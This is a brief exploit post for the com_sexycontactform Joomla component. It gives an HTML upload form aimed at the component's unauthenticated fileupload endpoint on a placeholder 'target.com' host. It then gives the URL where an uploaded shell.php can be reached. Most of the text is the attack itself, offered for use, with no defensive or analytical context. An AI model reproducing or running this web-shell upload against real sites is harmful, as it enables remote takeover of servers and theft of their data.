com_sexycontactform

Exploit name= com_sexycontactform Shell Vuln Upload
=============================================
Script CSRF :
Code:
<form method="POST" action="http://www.target.com/components/com_sexycontactform/fileupload/index.php"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>
Exploit : components/com_sexycontactform/fileupload/index.php
http://www.targetcom/components/com_sexycontactform/fileupload/files/shell.php (root/symlink)
***************************************************************************